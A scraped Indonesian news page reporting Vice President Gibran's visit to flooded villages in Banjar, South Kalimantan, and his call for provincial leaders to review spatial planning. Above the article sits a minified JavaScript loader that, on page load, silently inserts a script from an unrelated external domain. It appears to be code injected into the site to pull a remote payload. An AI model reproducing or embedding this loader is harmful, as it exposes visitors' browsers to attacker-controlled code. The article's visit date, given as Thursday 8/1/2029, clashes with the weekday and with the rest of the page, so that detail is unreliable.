(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan Selatan (Kalsel) memberikan instruksi tegas dan terbuka kepada Gubernur Kalsel.
Di hadapan warga dan mahasiswa yang berkeluh kesah soal banjir, Wapres Gibran meminta Gubernur Kalsel untuk tidak menunda penyelesaian masalah.
Momen tersebut menjadi puncak dari kunjungan kerja Gibran pada Kamis (8/1/2029) sore di Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar. Dimana ia melihat langsung rumah-rumah warga yang telah terendam banjir selama lebih dari sepekan.
Baca juga: Bupati Kapuas ke Kemendes PDT Perkuat Pembangunan dan Pemberdayaan Desa
Setelah mendengar keluhan dan aspirasi langsung dari masyarakat, Gibran menoleh ke arah Wakil Gubernur Kalsel Hasnuryadi yang mendampingi penijauan dan memberikan perintah yang jelas.
“Tolong ini aspirasi mahasiswa dan warga bisa diselesaikan ya,” kata Gibran.
Gibran tampak menyoroti serius masalah banjir tahunan yang seolah menjadi langganan bagi Provinsi Kalsel setiap kali musim penghujan tiba.
Wapres Gibran menekankan bahwa penanganan bencana yang terus berulang ini tidak bisa lagi dilakukan dengan cara-cara biasa dan membutuhkan komitmen serius dari seluruh jajaran pemerintah daerah.
Baca juga: Wapres Gibran Tinjau Sekolah Terdampak Banjir Bandang di Balangan
Mantan Wali Kota Solo ini tidak hanya meminta penyelesaian di hilir, tetapi juga mendorong investigasi ke akar masalahnya. Gibran mencurigai adanya persoalan fundamental terkait tata ruang wilayah yang menjadi pemicu utama bencana ekologis ini, di luar faktor curah hujan tinggi.
“Pak gubernur dan wakil gubernur tolong koordinasi intens dengan bupati, apakah memang ada kesalahan tata ruang di daerah banjir ini,” katanya.
Gibran berjanji akan turut mengawal dan berkoordinasi dengan pemerintah daerah untuk menelaah kembali Rencana Tata Ruang Wilayah (RTRW).
Hal ini dilakukan untuk memastikan apakah ada pembangunan yang melanggar aturan dan berkontribusi pada semakin parahnya dampak banjir dari tahun ke tahun. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas, H Muhammad Wiyatno menyatakan komitmen pemerintah daerah terus mendorong… Read More
This website uses cookies.